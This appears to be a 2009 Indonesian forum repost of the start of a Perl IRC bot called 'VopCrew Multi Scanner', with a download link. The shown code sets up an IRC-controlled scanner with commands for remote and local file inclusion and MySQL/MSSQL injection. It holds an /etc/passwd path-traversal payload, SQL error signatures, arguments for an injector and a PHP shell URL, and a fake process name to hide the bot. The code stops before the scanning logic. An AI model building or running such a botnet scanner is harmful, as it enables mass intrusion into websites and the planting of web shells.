VopCrew Multi Scanner 5.1 Release

#################################

# VopCrew Multi Scanner v5.1

# Coded by Vrs-hCk

# d00r[at]telkom[dot]net

# Copyleft © 2009 VopCrew UnderGrounD

#################################

# perl vopcrew.txt help me !!!

#################################

use HTTP::Request;

use LWP::UserAgent;

use IO::Socket;

use IO::Select;

use Socket;

my $fakeproc = $ARGV[6];

$ircserver = $ARGV[0] unless $ircserver;

my $ircport = $ARGV[1];

my $nickname = $ARGV[2];

my $ident = $ARGV[3];

my $channel = '#'.$ARGV[4];

my $runner = $ARGV[5];

my $fullname = ' 15( 7@ 2VopCrew-Multi-Scanner 15) ';

my $injector = $ARGV[7];

my $phpshell = $ARGV[8];

my $rficmd = '!rfi';

my $lficmd = '!lfi';

my $mysqlcmd = '!mysql';

my $mssqlcmd = '!mssql';

my $alicmd = '!log';

$rfi_result = "v0pCr3w";

$lfi_test = "../../../../../../../../../../../../../../../etc/passwd";

$lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";

$sql_test = "'";

$mysql_output = ("Query failed|Query Error|right syntax to use near");

$mssql_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation");

my $success = "\n [+] VopCrew Multi Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";

my $failed = "\n [-] perl $0 \n\n";

if (@ARGV != 9) { print $failed; exit(); } else { print $success; }

Download di sini

Sumber : antisecurity